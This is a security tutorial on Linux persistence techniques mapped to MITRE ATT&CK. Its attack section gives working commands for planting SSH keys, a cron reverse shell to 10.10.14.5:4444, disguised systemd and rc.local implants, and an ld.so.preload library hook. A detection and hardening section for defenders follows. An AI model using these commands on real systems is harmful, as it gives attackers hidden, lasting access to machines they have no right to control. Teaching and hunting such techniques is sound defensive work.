Introduction / Overview
Legal & Ethical Disclaimer: The techniques below are for education and authorized security testing only. Run them on systems you own or have explicit written permission to test. Unauthorized access or modification of computer systems is illegal in most jurisdictions.
Gaining a shell is only half the engagement. The moment a box reboots, a session times out, or a defender kills your process, your foothold evaporates — unless you have planted persistence. In this article we walk through five battle-tested Linux persistence mechanisms that map to MITRE ATT&CK and are constantly seen in real intrusions:
- SSH
authorized_keys(T1098.004) cronjobs (T1053.003)systemdservices and timers (T1543.002 / T1053.006)rc.localand init scripts (T1037.004)ld.so.preloadlibrary injection (T1574.006)
For each we cover how it works, a PoC, and — with equal weight — how the blue team finds and kills it. If you have not yet escalated privileges, pair this with our Linux privilege escalation checklist and GTFOBins for SUID abuse.
How It Works / Background
Linux persistence abuses the same boot, scheduling, and authentication subsystems that legitimate admins rely on. The trade-off is always reliability vs. stealth:
- User-context mechanisms (a user crontab,
~/.ssh/authorized_keys) survive reboot but die if the account is locked. - Root/system mechanisms (systemd units,
/etc/cron.d,ld.so.preload) survive everything but require root and are loud in audit logs.
A mature operator chooses the lowest-privilege mechanism that meets the objective, and avoids touching files that integrity monitoring watches.
Prerequisites / Lab Setup
Spin up a disposable VM — Ubuntu 22.04 or Debian 12 works well. You need:
- A non-root user shell (for user-level techniques)
sudo/root for system-level techniquessystemdas PID 1 (default on modern distros)
# Confirm the init system and current context
ps -p 1 -o comm= # expect: systemd
id # note uid / gid
uname -a
Attack Walkthrough / PoC
1. SSH authorized_keys
The cleanest user-level persistence. Append your public key and you can log back in directly, bypassing password auth entirely.
# On your attack box: generate a dedicated key pair
ssh-keygen -t ed25519 -f ./op_key -N ''
# On the target (as the victim user)
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo 'ssh-ed25519 AAAAC3Nza...your_pub_key... op' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
Stealthier variant: write the key to ~/.ssh/authorized_keys2 (still honored by default AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 on many builds) or abuse a forced command. Reconnect:
ssh -i ./op_key victim@target
2. Cron
Cron gives you scheduled, repeating execution. A user crontab survives reboot and needs no root.
# Add a callback every 10 minutes (user context)
( crontab -l 2>/dev/null; echo '*/10 * * * * /bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"' ) | crontab -
With root, drop a file into a system cron directory — these are easy to miss in a crowded /etc:
# Root-level, fires every minute
echo '* * * * * root /usr/local/bin/.update.sh' > /etc/cron.d/system-update
chmod 644 /etc/cron.d/system-update
Note the user field (root) — it only exists in /etc/crontab and /etc/cron.d/*, not in per-user crontabs.
3. systemd service + timer
The modern, robust choice. A service unit with Restart=always resurrects your implant; a timer schedules it like cron but with logging and randomization.
# /etc/systemd/system/dbus-helper.service (run as root)
[Unit]
Description=D-Bus user session helper
[Service]
Type=simple
ExecStart=/usr/local/bin/.dbus-helper
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
systemctl daemon-reload
systemctl enable --now dbus-helper.service
A user-level systemd unit needs no root and lingers across logouts if enabled:
mkdir -p ~/.config/systemd/user
# ... write unit to ~/.config/systemd/user/agent.service ...
systemctl --user enable --now agent.service
loginctl enable-linger "$USER" # keep it running after logout
4. rc.local
Legacy but still present (or re-creatable) on many systems. /etc/rc.local runs late in boot as root.
# Recreate if missing
cat > /etc/rc.local <<'EOF'
#!/bin/sh -e
/usr/local/bin/.update.sh &
exit 0
EOF
chmod +x /etc/rc.local
On systemd hosts, /etc/rc.local is executed by the rc-local.service compatibility unit only if the file exists and is executable — verify with systemctl status rc-local.
5. ld.so.preload
The stealthiest and nastiest. The dynamic linker reads /etc/ld.so.preload and loads every library listed into every dynamically linked process — the basis of userland rootkits like Jynx2 and many libprocesshider variants.
/* hook.c — minimal constructor that runs in every process */
#include <stdlib.h>
__attribute__((constructor))
void init(void) {
if (getuid() == 0) system("/usr/local/bin/.update.sh &");
}
gcc -shared -fPIC -o /usr/local/lib/.hook.so hook.c -ldl
echo '/usr/local/lib/.hook.so' > /etc/ld.so.preload
Real-world preload rootkits also hook readdir/open to hide their own files, making them very hard to spot from inside the box. This requires root and is the loudest to a file-integrity monitor but nearly invisible to a casual ps.
Attack Flow Diagram

Diagram: after a foothold, the operator branches on privilege level to pick a persistence mechanism, each of which re-triggers a callback after reboot or session loss.
Detection & Defense (Blue Team)
Persistence is only useful if it survives detection — so defenders should hunt every mechanism above.
authorized_keys
# Enumerate every authorized_keys on the host
find /home /root -name 'authorized_keys*' -exec ls -la {} \; \
-exec cat {} \;
Alert on writes to any authorized_keys/authorized_keys2 via auditd. Prefer centrally managed keys and AuthorizedKeysFile pinned to a path users cannot write.
cron
for u in $(cut -f1 -d: /etc/passwd); do crontab -l -u "$u" 2>/dev/null; done
ls -la /etc/cron.* /etc/crontab
Watch /etc/cron.d/, /var/spool/cron/ and crontab modifications with auditd rules.
systemd
systemctl list-units --type=service --state=running
systemctl list-timers --all
systemctl --user list-units # don't forget user scope!
grep -rE 'ExecStart|Restart' /etc/systemd/system ~/.config/systemd/user 2>/dev/null
Compare enabled units against a known-good baseline; flag units in unusual paths or with masquerading names.
rc.local & init
ls -la /etc/rc.local; systemctl status rc-local
cat /etc/rc.local 2>/dev/null
ld.so.preload (highest priority)
cat /etc/ld.so.preload 2>/dev/null # should normally not exist
ls -la /etc/ld.so.preload
The mere existence of /etc/ld.so.preload on a stock server is suspicious. Because a preload rootkit can hook syscalls to hide itself, verify from an out-of-band source — mount the disk offline, or compare against the kernel view (/proc) rather than ls.
Cross-cutting defenses:
- Deploy a File Integrity Monitor (AIDE, Tripwire, Wazuh FIM) over
/etc/cron*,/etc/systemd,/etc/ld.so.preload,/etc/rc.local, and allauthorized_keys. - Centralize logs and
auditdevents off-box so a root attacker cannot scrub them. - Run
rkhunter/chkrootkitandLynison a schedule. - Apply least privilege and mount
/homewithnoexecwhere feasible.
Conclusion
Persistence is a layered game: pick the lowest-privilege mechanism that meets your reliability goal, and assume a competent defender is watching the obvious files. From the blue side, the inverse is true — baseline the boot, scheduling, and auth subsystems, alert on writes to them, and treat any /etc/ld.so.preload as guilty until proven innocent. For the broader kill-chain context, see our post-exploitation fundamentals guide.
References
- MITRE ATT&CK — Account Manipulation: SSH Authorized Keys (T1098.004): https://attack.mitre.org/techniques/T1098/004/
- MITRE ATT&CK — Scheduled Task/Job: Cron (T1053.003): https://attack.mitre.org/techniques/T1053/003/
- MITRE ATT&CK — Create or Modify System Process: systemd Service (T1543.002): https://attack.mitre.org/techniques/T1543/002/
- MITRE ATT&CK — Boot or Logon Initialization Scripts: rc.scripts (T1037.004): https://attack.mitre.org/techniques/T1037/004/
- MITRE ATT&CK — Hijack Execution Flow: Dynamic Linker Hijacking (T1574.006): https://attack.mitre.org/techniques/T1574/006/
- HackTricks — Linux Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- man pages:
crontab(5),systemd.service(5),systemd.timer(5),ld.so(8)



Comments